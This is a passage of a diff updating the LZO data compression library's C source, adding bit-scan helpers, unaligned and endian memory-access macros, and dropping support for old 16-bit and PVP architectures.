+ unsigned r; r = (unsigned) __builtin_clzll(v); return r;
+#define lzo_bitops_ctlz64(v) ((unsigned) __builtin_clzll(v))
+#else
+ LZO_UNUSED(v); return 0;
+#endif
+}
#endif
-#undef COPY4
-#if defined(LZO_UNALIGNED_OK_4) || defined(LZO_ALIGNED_OK_4)
-# if 1 && defined(ACC_UA_COPY32)
-# define COPY4(d,s) ACC_UA_COPY32(d,s)
-# else
-# define COPY4(d,s) (* (__lzo_ua_volatile lzo_uint32p)(__lzo_ua_volatile lzo_voidp)(d) = * (__lzo_ua_volatile const lzo_uint32p)(__lzo_ua_volatile const lzo_voidp)(s))
-# endif
+__lzo_static_forceinline unsigned lzo_bitops_cttz32_func(lzo_uint32_t v)
+{
+#if (LZO_BITOPS_USE_MSC_BITSCAN) && (LZO_ARCH_AMD64 || LZO_ARCH_I386)
+ unsigned long r; (void) _BitScanForward(&r, v); return (unsigned) r;
+#define lzo_bitops_cttz32(v) lzo_bitops_cttz32_func(v)
+#elif (LZO_BITOPS_USE_ASM_BITSCAN) && (LZO_ARCH_AMD64 || LZO_ARCH_I386) && (LZO_ASM_SYNTAX_GNUC)
+ lzo_uint32_t r;
+ __asm__("bsf %1,%0" : "=r" (r) : "rm" (v) __LZO_ASM_CLOBBER_LIST_CC);
+ return (unsigned) r;
+#define lzo_bitops_cttz32(v) lzo_bitops_cttz32_func(v)
+#elif (LZO_BITOPS_USE_GNUC_BITSCAN) && (LZO_SIZEOF_INT >= 4)
+ unsigned r; r = (unsigned) __builtin_ctz(v); return r;
+#define lzo_bitops_cttz32(v) ((unsigned) __builtin_ctz(v))
+#else
+ LZO_UNUSED(v); return 0;
+#endif
+}
+
+#if defined(lzo_uint64_t)
+__lzo_static_forceinline unsigned lzo_bitops_cttz64_func(lzo_uint64_t v)
+{
+#if (LZO_BITOPS_USE_MSC_BITSCAN) && (LZO_ARCH_AMD64)
+ unsigned long r; (void) _BitScanForward64(&r, v); return (unsigned) r;
+#define lzo_bitops_cttz64(v) lzo_bitops_cttz64_func(v)
+#elif (LZO_BITOPS_USE_ASM_BITSCAN) && (LZO_ARCH_AMD64) && (LZO_ASM_SYNTAX_GNUC)
+ lzo_uint64_t r;
+ __asm__("bsf %1,%0" : "=r" (r) : "rm" (v) __LZO_ASM_CLOBBER_LIST_CC);
+ return (unsigned) r;
+#define lzo_bitops_cttz64(v) lzo_bitops_cttz64_func(v)
+#elif (LZO_BITOPS_USE_GNUC_BITSCAN) && (LZO_SIZEOF_LONG >= 8) && (LZO_WORDSIZE >= 8)
+ unsigned r; r = (unsigned) __builtin_ctzl(v); return r;
+#define lzo_bitops_cttz64(v) ((unsigned) __builtin_ctzl(v))
+#elif (LZO_BITOPS_USE_GNUC_BITSCAN) && (LZO_SIZEOF_LONG_LONG >= 8) && (LZO_WORDSIZE >= 8)
+ unsigned r; r = (unsigned) __builtin_ctzll(v); return r;
+#define lzo_bitops_cttz64(v) ((unsigned) __builtin_ctzll(v))
+#else
+ LZO_UNUSED(v); return 0;
+#endif
+}
+#endif
+
+#if 1 && (LZO_CC_ARMCC_GNUC || LZO_CC_CLANG || (LZO_CC_GNUC >= 0x020700ul) || LZO_CC_INTELC_GNUC || LZO_CC_LLVM || LZO_CC_PATHSCALE || LZO_CC_PGI)
+static void __attribute__((__unused__))
+#else
+__lzo_static_forceinline void
+#endif
+lzo_bitops_unused_funcs(void)
+{
+ LZO_UNUSED_FUNC(lzo_bitops_ctlz32_func);
+ LZO_UNUSED_FUNC(lzo_bitops_cttz32_func);
+#if defined(lzo_uint64_t)
+ LZO_UNUSED_FUNC(lzo_bitops_ctlz64_func);
+ LZO_UNUSED_FUNC(lzo_bitops_cttz64_func);
+#endif
+ LZO_UNUSED_FUNC(lzo_bitops_unused_funcs);
+}
+
+#if defined(__lzo_alignof) && !(LZO_CFG_NO_UNALIGNED)
+#ifndef __lzo_memops_tcheck
+#define __lzo_memops_tcheck(t,a,b) ((void)0, sizeof(t) == (a) && __lzo_alignof(t) == (b))
+#endif
+#endif
+#ifndef lzo_memops_TU0p
+#define lzo_memops_TU0p void __LZO_MMODEL *
+#endif
+#ifndef lzo_memops_TU1p
+#define lzo_memops_TU1p unsigned char __LZO_MMODEL *
+#endif
+#ifndef lzo_memops_TU2p
+#if (LZO_OPT_UNALIGNED16)
+typedef lzo_uint16_t __lzo_may_alias lzo_memops_TU2;
+#define lzo_memops_TU2p volatile lzo_memops_TU2 *
+#elif defined(__lzo_byte_struct)
+__lzo_byte_struct(lzo_memops_TU2_struct,2)
+typedef struct lzo_memops_TU2_struct lzo_memops_TU2;
+#else
+struct lzo_memops_TU2_struct { unsigned char a[2]; } __lzo_may_alias;
+typedef struct lzo_memops_TU2_struct lzo_memops_TU2;
+#endif
+#ifndef lzo_memops_TU2p
+#define lzo_memops_TU2p lzo_memops_TU2 *
+#endif
+#endif
+#ifndef lzo_memops_TU4p
+#if (LZO_OPT_UNALIGNED32)
+typedef lzo_uint32_t __lzo_may_alias lzo_memops_TU4;
+#define lzo_memops_TU4p volatile lzo_memops_TU4 __LZO_MMODEL *
+#elif defined(__lzo_byte_struct)
+__lzo_byte_struct(lzo_memops_TU4_struct,4)
+typedef struct lzo_memops_TU4_struct lzo_memops_TU4;
+#else
+struct lzo_memops_TU4_struct { unsigned char a[4]; } __lzo_may_alias;
+typedef struct lzo_memops_TU4_struct lzo_memops_TU4;
+#endif
+#ifndef lzo_memops_TU4p
+#define lzo_memops_TU4p lzo_memops_TU4 __LZO_MMODEL *
+#endif
+#endif
+#ifndef lzo_memops_TU8p
+#if (LZO_OPT_UNALIGNED64)
+typedef lzo_uint64_t __lzo_may_alias lzo_memops_TU8;
+#define lzo_memops_TU8p volatile lzo_memops_TU8 __LZO_MMODEL *
+#elif defined(__lzo_byte_struct)
+__lzo_byte_struct(lzo_memops_TU8_struct,8)
+typedef struct lzo_memops_TU8_struct lzo_memops_TU8;
+#else
+struct lzo_memops_TU8_struct { unsigned char a[8]; } __lzo_may_alias;
+typedef struct lzo_memops_TU8_struct lzo_memops_TU8;
+#endif
+#ifndef lzo_memops_TU8p
+#define lzo_memops_TU8p lzo_memops_TU8 __LZO_MMODEL *
+#endif
+#endif
+#ifndef lzo_memops_set_TU1p
+#define lzo_memops_set_TU1p volatile lzo_memops_TU1p
+#endif
+#ifndef lzo_memops_move_TU1p
+#define lzo_memops_move_TU1p lzo_memops_TU1p
+#endif
+#define LZO_MEMOPS_SET1(dd,cc) \
+ LZO_BLOCK_BEGIN \
+ lzo_memops_set_TU1p d__1 = (lzo_memops_set_TU1p) (lzo_memops_TU0p) (dd); \
+ d__1[0] = LZO_BYTE(cc); \
+ LZO_BLOCK_END
+#define LZO_MEMOPS_SET2(dd,cc) \
+ LZO_BLOCK_BEGIN \
+ lzo_memops_set_TU1p d__2 = (lzo_memops_set_TU1p) (lzo_memops_TU0p) (dd); \
+ d__2[0] = LZO_BYTE(cc); d__2[1] = LZO_BYTE(cc); \
+ LZO_BLOCK_END
+#define LZO_MEMOPS_SET3(dd,cc) \
+ LZO_BLOCK_BEGIN \
+ lzo_memops_set_TU1p d__3 = (lzo_memops_set_TU1p) (lzo_memops_TU0p) (dd); \
+ d__3[0] = LZO_BYTE(cc); d__3[1] = LZO_BYTE(cc); d__3[2] = LZO_BYTE(cc); \
+ LZO_BLOCK_END
+#define LZO_MEMOPS_SET4(dd,cc) \
+ LZO_BLOCK_BEGIN \
+ lzo_memops_set_TU1p d__4 = (lzo_memops_set_TU1p) (lzo_memops_TU0p) (dd); \
+ d__4[0] = LZO_BYTE(cc); d__4[1] = LZO_BYTE(cc); d__4[2] = LZO_BYTE(cc); d__4[3] = LZO_BYTE(cc); \
+ LZO_BLOCK_END
+#define LZO_MEMOPS_MOVE1(dd,ss) \
+ LZO_BLOCK_BEGIN \
+ lzo_memops_move_TU1p d__1 = (lzo_memops_move_TU1p) (lzo_memops_TU0p) (dd); \
+ const lzo_memops_move_TU1p s__1 = (const lzo_memops_move_TU1p) (const lzo_memops_TU0p) (ss); \
+ d__1[0] = s__1[0]; \
+ LZO_BLOCK_END
+#define LZO_MEMOPS_MOVE2(dd,ss) \
+ LZO_BLOCK_BEGIN \
+ lzo_memops_move_TU1p d__2 = (lzo_memops_move_TU1p) (lzo_memops_TU0p) (dd); \
+ const lzo_memops_move_TU1p s__2 = (const lzo_memops_move_TU1p) (const lzo_memops_TU0p) (ss); \
+ d__2[0] = s__2[0]; d__2[1] = s__2[1]; \
+ LZO_BLOCK_END
+#define LZO_MEMOPS_MOVE3(dd,ss) \
+ LZO_BLOCK_BEGIN \
+ lzo_memops_move_TU1p d__3 = (lzo_memops_move_TU1p) (lzo_memops_TU0p) (dd); \
+ const lzo_memops_move_TU1p s__3 = (const lzo_memops_move_TU1p) (const lzo_memops_TU0p) (ss); \
+ d__3[0] = s__3[0]; d__3[1] = s__3[1]; d__3[2] = s__3[2]; \
+ LZO_BLOCK_END
+#define LZO_MEMOPS_MOVE4(dd,ss) \
+ LZO_BLOCK_BEGIN \
+ lzo_memops_move_TU1p d__4 = (lzo_memops_move_TU1p) (lzo_memops_TU0p) (dd); \
+ const lzo_memops_move_TU1p s__4 = (const lzo_memops_move_TU1p) (const lzo_memops_TU0p) (ss); \
+ d__4[0] = s__4[0]; d__4[1] = s__4[1]; d__4[2] = s__4[2]; d__4[3] = s__4[3]; \
+ LZO_BLOCK_END
+#define LZO_MEMOPS_MOVE8(dd,ss) \
+ LZO_BLOCK_BEGIN \
+ lzo_memops_move_TU1p d__8 = (lzo_memops_move_TU1p) (lzo_memops_TU0p) (dd); \
+ const lzo_memops_move_TU1p s__8 = (const lzo_memops_move_TU1p) (const lzo_memops_TU0p) (ss); \
+ d__8[0] = s__8[0]; d__8[1] = s__8[1]; d__8[2] = s__8[2]; d__8[3] = s__8[3]; \
+ d__8[4] = s__8[4]; d__8[5] = s__8[5]; d__8[6] = s__8[6]; d__8[7] = s__8[7]; \
+ LZO_BLOCK_END
+LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(*(lzo_memops_TU1p)0)==1)
+#define LZO_MEMOPS_COPY1(dd,ss) LZO_MEMOPS_MOVE1(dd,ss)
+#if (LZO_OPT_UNALIGNED16)
+LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(*(lzo_memops_TU2p)0)==2)
+#define LZO_MEMOPS_COPY2(dd,ss) \
+ * (lzo_memops_TU2p) (lzo_memops_TU0p) (dd) = * (const lzo_memops_TU2p) (const lzo_memops_TU0p) (ss)
+#elif defined(__lzo_memops_tcheck)
+#define LZO_MEMOPS_COPY2(dd,ss) \
+ LZO_BLOCK_BEGIN if (__lzo_memops_tcheck(lzo_memops_TU2,2,1)) { \
+ * (lzo_memops_TU2p) (lzo_memops_TU0p) (dd) = * (const lzo_memops_TU2p) (const lzo_memops_TU0p) (ss); \
+ } else { LZO_MEMOPS_MOVE2(dd,ss); } LZO_BLOCK_END
+#else
+#define LZO_MEMOPS_COPY2(dd,ss) LZO_MEMOPS_MOVE2(dd,ss)
+#endif
+#if (LZO_OPT_UNALIGNED32)
+LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(*(lzo_memops_TU4p)0)==4)
+#define LZO_MEMOPS_COPY4(dd,ss) \
+ * (lzo_memops_TU4p) (lzo_memops_TU0p) (dd) = * (const lzo_memops_TU4p) (const lzo_memops_TU0p) (ss)
+#elif defined(__lzo_memops_tcheck)
+#define LZO_MEMOPS_COPY4(dd,ss) \
+ LZO_BLOCK_BEGIN if (__lzo_memops_tcheck(lzo_memops_TU4,4,1)) { \
+ * (lzo_memops_TU4p) (lzo_memops_TU0p) (dd) = * (const lzo_memops_TU4p) (const lzo_memops_TU0p) (ss); \
+ } else { LZO_MEMOPS_MOVE4(dd,ss); } LZO_BLOCK_END
+#else
+#define LZO_MEMOPS_COPY4(dd,ss) LZO_MEMOPS_MOVE4(dd,ss)
+#endif
+#if (LZO_WORDSIZE != 8)
+#define LZO_MEMOPS_COPY8(dd,ss) \
+ LZO_BLOCK_BEGIN LZO_MEMOPS_COPY4(dd,ss); LZO_MEMOPS_COPY4((lzo_memops_TU1p)(lzo_memops_TU0p)(dd)+4,(const lzo_memops_TU1p)(const lzo_memops_TU0p)(ss)+4); LZO_BLOCK_END
+#else
+#if (LZO_OPT_UNALIGNED64)
+LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(*(lzo_memops_TU8p)0)==8)
+#define LZO_MEMOPS_COPY8(dd,ss) \
+ * (lzo_memops_TU8p) (lzo_memops_TU0p) (dd) = * (const lzo_memops_TU8p) (const lzo_memops_TU0p) (ss)
+#elif (LZO_OPT_UNALIGNED32)
+#define LZO_MEMOPS_COPY8(dd,ss) \
+ LZO_BLOCK_BEGIN LZO_MEMOPS_COPY4(dd,ss); LZO_MEMOPS_COPY4((lzo_memops_TU1p)(lzo_memops_TU0p)(dd)+4,(const lzo_memops_TU1p)(const lzo_memops_TU0p)(ss)+4); LZO_BLOCK_END
+#elif defined(__lzo_memops_tcheck)
+#define LZO_MEMOPS_COPY8(dd,ss) \
+ LZO_BLOCK_BEGIN if (__lzo_memops_tcheck(lzo_memops_TU8,8,1)) { \
+ * (lzo_memops_TU8p) (lzo_memops_TU0p) (dd) = * (const lzo_memops_TU8p) (const lzo_memops_TU0p) (ss); \
+ } else { LZO_MEMOPS_MOVE8(dd,ss); } LZO_BLOCK_END
+#else
+#define LZO_MEMOPS_COPY8(dd,ss) LZO_MEMOPS_MOVE8(dd,ss)
+#endif
+#endif
+#define LZO_MEMOPS_COPYN(dd,ss,nn) \
+ LZO_BLOCK_BEGIN \
+ lzo_memops_TU1p d__n = (lzo_memops_TU1p) (lzo_memops_TU0p) (dd); \
+ const lzo_memops_TU1p s__n = (const lzo_memops_TU1p) (const lzo_memops_TU0p) (ss); \
+ lzo_uint n__n = (nn); \
+ while ((void)0, n__n >= 8) { LZO_MEMOPS_COPY8(d__n, s__n); d__n += 8; s__n += 8; n__n -= 8; } \
+ if ((void)0, n__n >= 4) { LZO_MEMOPS_COPY4(d__n, s__n); d__n += 4; s__n += 4; n__n -= 4; } \
+ if ((void)0, n__n > 0) do { *d__n++ = *s__n++; } while (--n__n > 0); \
+ LZO_BLOCK_END
+
+__lzo_static_forceinline lzo_uint16_t lzo_memops_get_le16(const lzo_voidp ss)
+{
+ lzo_uint16_t v;
+#if (LZO_ABI_LITTLE_ENDIAN)
+ LZO_MEMOPS_COPY2(&v, ss);
+#elif (LZO_OPT_UNALIGNED16 && LZO_ARCH_POWERPC && LZO_ABI_BIG_ENDIAN) && (LZO_ASM_SYNTAX_GNUC)
+ const lzo_memops_TU2p s = (const lzo_memops_TU2p) ss;
+ unsigned long vv;
+ __asm__("lhbrx %0,0,%1" : "=r" (vv) : "r" (s), "m" (*s));
+ v = (lzo_uint16_t) vv;
+#else
+ const lzo_memops_TU1p s = (const lzo_memops_TU1p) ss;
+ v = (lzo_uint16_t) (((lzo_uint16_t)s[0]) | ((lzo_uint16_t)s[1] << 8));
+#endif
+ return v;
+}
+#if (LZO_OPT_UNALIGNED16) && (LZO_ABI_LITTLE_ENDIAN)
+#define LZO_MEMOPS_GET_LE16(ss) * (const lzo_memops_TU2p) (const lzo_memops_TU0p) (ss)
+#else
+#define LZO_MEMOPS_GET_LE16(ss) lzo_memops_get_le16(ss)
+#endif
+
+__lzo_static_forceinline lzo_uint32_t lzo_memops_get_le32(const lzo_voidp ss)
+{
+ lzo_uint32_t v;
+#if (LZO_ABI_LITTLE_ENDIAN)
+ LZO_MEMOPS_COPY4(&v, ss);
+#elif (LZO_OPT_UNALIGNED32 && LZO_ARCH_POWERPC && LZO_ABI_BIG_ENDIAN) && (LZO_ASM_SYNTAX_GNUC)
+ const lzo_memops_TU4p s = (const lzo_memops_TU4p) ss;
+ unsigned long vv;
+ __asm__("lwbrx %0,0,%1" : "=r" (vv) : "r" (s), "m" (*s));
+ v = (lzo_uint32_t) vv;
+#else
+ const lzo_memops_TU1p s = (const lzo_memops_TU1p) ss;
+ v = (lzo_uint32_t) (((lzo_uint32_t)s[0] << 24) | ((lzo_uint32_t)s[1] << 16) | ((lzo_uint32_t)s[2] << 8) | ((lzo_uint32_t)s[3]));
+#endif
+ return v;
+}
+#if (LZO_OPT_UNALIGNED32) && (LZO_ABI_LITTLE_ENDIAN)
+#define LZO_MEMOPS_GET_LE32(ss) * (const lzo_memops_TU4p) (const lzo_memops_TU0p) (ss)
+#else
+#define LZO_MEMOPS_GET_LE32(ss) lzo_memops_get_le32(ss)
+#endif
+
+#if (LZO_OPT_UNALIGNED64) && (LZO_ABI_LITTLE_ENDIAN)
+#define LZO_MEMOPS_GET_LE64(ss) * (const lzo_memops_TU8p) (const lzo_memops_TU0p) (ss)
+#endif
+
+__lzo_static_forceinline lzo_uint16_t lzo_memops_get_ne16(const lzo_voidp ss)
+{
+ lzo_uint16_t v;
+ LZO_MEMOPS_COPY2(&v, ss);
+ return v;
+}
+#if (LZO_OPT_UNALIGNED16)
+#define LZO_MEMOPS_GET_NE16(ss) * (const lzo_memops_TU2p) (const lzo_memops_TU0p) (ss)
+#else
+#define LZO_MEMOPS_GET_NE16(ss) lzo_memops_get_ne16(ss)
+#endif
+
+__lzo_static_forceinline lzo_uint32_t lzo_memops_get_ne32(const lzo_voidp ss)
+{
+ lzo_uint32_t v;
+ LZO_MEMOPS_COPY4(&v, ss);
+ return v;
+}
+#if (LZO_OPT_UNALIGNED32)
+#define LZO_MEMOPS_GET_NE32(ss) * (const lzo_memops_TU4p) (const lzo_memops_TU0p) (ss)
+#else
+#define LZO_MEMOPS_GET_NE32(ss) lzo_memops_get_ne32(ss)
+#endif
+
+#if (LZO_OPT_UNALIGNED64)
+#define LZO_MEMOPS_GET_NE64(ss) * (const lzo_memops_TU8p) (const lzo_memops_TU0p) (ss)
+#endif
+
+__lzo_static_forceinline void lzo_memops_put_le16(lzo_voidp dd, lzo_uint16_t vv)
+{
+#if (LZO_ABI_LITTLE_ENDIAN)
+ LZO_MEMOPS_COPY2(dd, &vv);
+#elif (LZO_OPT_UNALIGNED16 && LZO_ARCH_POWERPC && LZO_ABI_BIG_ENDIAN) && (LZO_ASM_SYNTAX_GNUC)
+ lzo_memops_TU2p d = (lzo_memops_TU2p) dd;
+ unsigned long v = vv;
+ __asm__("sthbrx %2,0,%1" : "=m" (*d) : "r" (d), "r" (v));
+#else
+ lzo_memops_TU1p d = (lzo_memops_TU1p) dd;
+ d[0] = LZO_BYTE((vv ) & 0xff);
+ d[1] = LZO_BYTE((vv >> 8) & 0xff);
+#endif
+}
+#if (LZO_OPT_UNALIGNED16) && (LZO_ABI_LITTLE_ENDIAN)
+#define LZO_MEMOPS_PUT_LE16(dd,vv) (* (lzo_memops_TU2p) (lzo_memops_TU0p) (dd) = (vv))
+#else
+#define LZO_MEMOPS_PUT_LE16(dd,vv) lzo_memops_put_le16(dd,vv)
+#endif
+
+__lzo_static_forceinline void lzo_memops_put_le32(lzo_voidp dd, lzo_uint32_t vv)
+{
+#if (LZO_ABI_LITTLE_ENDIAN)
+ LZO_MEMOPS_COPY4(dd, &vv);
+#elif (LZO_OPT_UNALIGNED32 && LZO_ARCH_POWERPC && LZO_ABI_BIG_ENDIAN) && (LZO_ASM_SYNTAX_GNUC)
+ lzo_memops_TU4p d = (lzo_memops_TU4p) dd;
+ unsigned long v = vv;
+ __asm__("stwbrx %2,0,%1" : "=m" (*d) : "r" (d), "r" (v));
+#else
+ lzo_memops_TU1p d = (lzo_memops_TU1p) dd;
+ d[0] = LZO_BYTE((vv ) & 0xff);
+ d[1] = LZO_BYTE((vv >> 8) & 0xff);
+ d[2] = LZO_BYTE((vv >> 16) & 0xff);
+ d[3] = LZO_BYTE((vv >> 24) & 0xff);
+#endif
+}
+#if (LZO_OPT_UNALIGNED32) && (LZO_ABI_LITTLE_ENDIAN)
+#define LZO_MEMOPS_PUT_LE32(dd,vv) (* (lzo_memops_TU4p) (lzo_memops_TU0p) (dd) = (vv))
+#else
+#define LZO_MEMOPS_PUT_LE32(dd,vv) lzo_memops_put_le32(dd,vv)
+#endif
+
+__lzo_static_forceinline void lzo_memops_put_ne16(lzo_voidp dd, lzo_uint16_t vv)
+{
+ LZO_MEMOPS_COPY2(dd, &vv);
+}
+#if (LZO_OPT_UNALIGNED16)
+#define LZO_MEMOPS_PUT_NE16(dd,vv) (* (lzo_memops_TU2p) (lzo_memops_TU0p) (dd) = (vv))
+#else
+#define LZO_MEMOPS_PUT_NE16(dd,vv) lzo_memops_put_ne16(dd,vv)
+#endif
+
+__lzo_static_forceinline void lzo_memops_put_ne32(lzo_voidp dd, lzo_uint32_t vv)
+{
+ LZO_MEMOPS_COPY4(dd, &vv);
+}
+#if (LZO_OPT_UNALIGNED32)
+#define LZO_MEMOPS_PUT_NE32(dd,vv) (* (lzo_memops_TU4p) (lzo_memops_TU0p) (dd) = (vv))
+#else
+#define LZO_MEMOPS_PUT_NE32(dd,vv) lzo_memops_put_ne32(dd,vv)
+#endif
+
+#if 1 && (LZO_CC_ARMCC_GNUC || LZO_CC_CLANG || (LZO_CC_GNUC >= 0x020700ul) || LZO_CC_INTELC_GNUC || LZO_CC_LLVM || LZO_CC_PATHSCALE || LZO_CC_PGI)
+static void __attribute__((__unused__))
+#else
+__lzo_static_forceinline void
+#endif
+lzo_memops_unused_funcs(void)
+{
+ LZO_UNUSED_FUNC(lzo_memops_get_le16);
+ LZO_UNUSED_FUNC(lzo_memops_get_le32);
+ LZO_UNUSED_FUNC(lzo_memops_get_ne16);
+ LZO_UNUSED_FUNC(lzo_memops_get_ne32);
+ LZO_UNUSED_FUNC(lzo_memops_put_le16);
+ LZO_UNUSED_FUNC(lzo_memops_put_le32);
+ LZO_UNUSED_FUNC(lzo_memops_put_ne16);
+ LZO_UNUSED_FUNC(lzo_memops_put_ne32);
+ LZO_UNUSED_FUNC(lzo_memops_unused_funcs);
+}
+
+#endif
+
+#ifndef UA_SET1
+#define UA_SET1 LZO_MEMOPS_SET1
+#endif
+#ifndef UA_SET2
+#define UA_SET2 LZO_MEMOPS_SET2
+#endif
+#ifndef UA_SET3
+#define UA_SET3 LZO_MEMOPS_SET3
+#endif
+#ifndef UA_SET4
+#define UA_SET4 LZO_MEMOPS_SET4
+#endif
+#ifndef UA_MOVE1
+#define UA_MOVE1 LZO_MEMOPS_MOVE1
+#endif
+#ifndef UA_MOVE2
+#define UA_MOVE2 LZO_MEMOPS_MOVE2
+#endif
+#ifndef UA_MOVE3
+#define UA_MOVE3 LZO_MEMOPS_MOVE3
+#endif
+#ifndef UA_MOVE4
+#define UA_MOVE4 LZO_MEMOPS_MOVE4
+#endif
+#ifndef UA_MOVE8
+#define UA_MOVE8 LZO_MEMOPS_MOVE8
+#endif
+#ifndef UA_COPY1
+#define UA_COPY1 LZO_MEMOPS_COPY1
+#endif
+#ifndef UA_COPY2
+#define UA_COPY2 LZO_MEMOPS_COPY2
+#endif
+#ifndef UA_COPY3
+#define UA_COPY3 LZO_MEMOPS_COPY3
+#endif
+#ifndef UA_COPY4
+#define UA_COPY4 LZO_MEMOPS_COPY4
+#endif
+#ifndef UA_COPY8
+#define UA_COPY8 LZO_MEMOPS_COPY8
+#endif
+#ifndef UA_COPYN
+#define UA_COPYN LZO_MEMOPS_COPYN
+#endif
+#ifndef UA_COPYN_X
+#define UA_COPYN_X LZO_MEMOPS_COPYN
+#endif
+#ifndef UA_GET_LE16
+#define UA_GET_LE16 LZO_MEMOPS_GET_LE16
+#endif
+#ifndef UA_GET_LE32
+#define UA_GET_LE32 LZO_MEMOPS_GET_LE32
+#endif
+#ifdef LZO_MEMOPS_GET_LE64
+#ifndef UA_GET_LE64
+#define UA_GET_LE64 LZO_MEMOPS_GET_LE64
+#endif
+#endif
+#ifndef UA_GET_NE16
+#define UA_GET_NE16 LZO_MEMOPS_GET_NE16
+#endif
+#ifndef UA_GET_NE32
+#define UA_GET_NE32 LZO_MEMOPS_GET_NE32
+#endif
+#ifdef LZO_MEMOPS_GET_NE64
+#ifndef UA_GET_NE64
+#define UA_GET_NE64 LZO_MEMOPS_GET_NE64
+#endif
+#endif
+#ifndef UA_PUT_LE16
+#define UA_PUT_LE16 LZO_MEMOPS_PUT_LE16
+#endif
+#ifndef UA_PUT_LE32
+#define UA_PUT_LE32 LZO_MEMOPS_PUT_LE32
+#endif
+#ifndef UA_PUT_NE16
+#define UA_PUT_NE16 LZO_MEMOPS_PUT_NE16
+#endif
+#ifndef UA_PUT_NE32
+#define UA_PUT_NE32 LZO_MEMOPS_PUT_NE32
#endif
#define MEMCPY8_DS(dest,src,len) \
@@ -2158,25 +3782,10 @@
extern "C" {
#endif
-#if !defined(lzo_uintptr_t)
-# if (__LZO_MMODEL_HUGE)
-# define lzo_uintptr_t unsigned long
-# else
-# define lzo_uintptr_t acc_uintptr_t
-# ifdef __ACC_INTPTR_T_IS_POINTER
-# define __LZO_UINTPTR_T_IS_POINTER 1
-# endif
-# endif
-#endif
-
#if (LZO_ARCH_I086)
-#define PTR(a) ((lzo_bytep) (a))
-#define PTR_ALIGNED_4(a) ((ACC_PTR_FP_OFF(a) & 3) == 0)
-#define PTR_ALIGNED2_4(a,b) (((ACC_PTR_FP_OFF(a) | ACC_PTR_FP_OFF(b)) & 3) == 0)
+#error "LZO_ARCH_I086 is unsupported"
#elif (LZO_MM_PVP)
-#define PTR(a) ((lzo_bytep) (a))
-#define PTR_ALIGNED_8(a) ((((lzo_uintptr_t)(a)) >> 61) == 0)
-#define PTR_ALIGNED2_8(a,b) ((((lzo_uintptr_t)(a)|(lzo_uintptr_t)(b)) >> 61) == 0)
+#error "LZO_MM_PVP is unsupported"
#else
#define PTR(a) ((lzo_uintptr_t) (a))
#define PTR_LINEAR(a) PTR(a)
@@ -2206,20 +3815,28 @@
unsigned long a_ulong;
lzo_int a_lzo_int;
lzo_uint a_lzo_uint;
- lzo_int32 a_lzo_int32;
- lzo_uint32 a_lzo_uint32;
+ lzo_xint a_lzo_xint;
+ lzo_int16_t a_lzo_int16_t;
+ lzo_uint16_t a_lzo_uint16_t;
+ lzo_int32_t a_lzo_int32_t;
+ lzo_uint32_t a_lzo_uint32_t;
+#if defined(lzo_uint64_t)
+ lzo_int64_t a_lzo_int64_t;
+ lzo_uint64_t a_lzo_uint64_t;
+#endif
+ size_t a_size_t;
ptrdiff_t a_ptrdiff_t;
lzo_uintptr_t a_lzo_uintptr_t;
- lzo_voidp a_lzo_voidp;
void * a_void_p;
- lzo_bytep a_lzo_bytep;
- lzo_bytepp a_lzo_bytepp;
- lzo_uintp a_lzo_uintp;
- lzo_uint * a_lzo_uint_p;
- lzo_uint32p a_lzo_uint32p;
- lzo_uint32 * a_lzo_uint32_p;
- unsigned char * a_uchar_p;
char * a_char_p;
+ unsigned char * a_uchar_p;
+ const void * a_c_void_p;
+ const char * a_c_char_p;
+ const unsigned char * a_c_uchar_p;
+ lzo_voidp a_lzo_voidp;
+ lzo_bytep a_lzo_bytep;
+ const lzo_voidp a_c_lzo_voidp;
+ const lzo_bytep a_c_lzo_bytep;
}
lzo_full_align_t;
@@ -2229,19 +3846,20 @@
#endif
+#ifndef LZO_DETERMINISTIC
#define LZO_DETERMINISTIC 1
+#endif
+#ifndef LZO_DICT_USE_PTR
#define LZO_DICT_USE_PTR 1
-#if 0 && (LZO_ARCH_I086)
-# undef LZO_DICT_USE_PTR
#endif
#if (LZO_DICT_USE_PTR)
# define lzo_dict_t const lzo_bytep
-# define lzo_dict_p lzo_dict_t __LZO_MMODEL *
+# define lzo_dict_p lzo_dict_t *
#else
# define lzo_dict_t lzo_uint
-# define lzo_dict_p lzo_dict_t __LZO_MMODEL *
+# define lzo_dict_p lzo_dict_t *
#endif
#endif
@@ -2254,10 +3872,9 @@
lzo_uintptr_t p;
#if (LZO_ARCH_I086)
- p = (((lzo_uintptr_t)(ACC_PTR_FP_SEG(ptr))) << (16 - ACC_MM_AHSHIFT)) + (ACC_PTR_FP_OFF(ptr));
+#error "LZO_ARCH_I086 is unsupported"
#elif (LZO_MM_PVP)
- p = (lzo_uintptr_t) (ptr);
- p = (p << 3) | (p >> 61);
+#error "LZO_MM_PVP is unsupported"
#else
p = (lzo_uintptr_t) PTR_LINEAR(ptr);
#endif
@@ -2268,9 +3885,8 @@
LZO_PUBLIC(unsigned)
__lzo_align_gap(const lzo_voidp ptr, lzo_uint size)
{
-#if defined(__LZO_UINTPTR_T_IS_POINTER)
- size_t n = (size_t) ptr;
- n = (((n + size - 1) / size) * size) - n;
+#if (__LZO_UINTPTR_T_IS_POINTER)
+#error "__LZO_UINTPTR_T_IS_POINTER is unsupported"
#else
lzo_uintptr_t p, n;
p = __lzo_ptr_linear(ptr);
@@ -2296,7 +3912,7 @@
#else
"\r\n\n"
"LZO data compression library.\n"
- "$Copyright: LZO Copyright (C) 1996-2010 Markus Franz Xaver Johannes Oberhumer\n"
+ "$Copyright: LZO Copyright (C) 1996-2014 Markus Franz Xaver Johannes Oberhumer\n"
"<markus@oberhumer.com>\n"
"http://www.oberhumer.com $\n\n"
"$Id: LZO version: v" LZO_VERSION_STRING ", " LZO_VERSION_DATE " $\n"
@@ -2306,11 +3922,7 @@
LZO_PUBLIC(const lzo_bytep)
lzo_copyright(void)
{
-#if (LZO_OS_DOS16 && LZO_CC_TURBOC)
- return (lzo_voidp) __lzo_copyright;
-#else
return (const lzo_bytep) __lzo_copyright;
-#endif
}
LZO_PUBLIC(unsigned)
@@ -2352,11 +3964,11 @@
#define LZO_DO8(buf,i) LZO_DO4(buf,i); LZO_DO4(buf,i+4);
#define LZO_DO16(buf,i) LZO_DO8(buf,i); LZO_DO8(buf,i+8);
-LZO_PUBLIC(lzo_uint32)
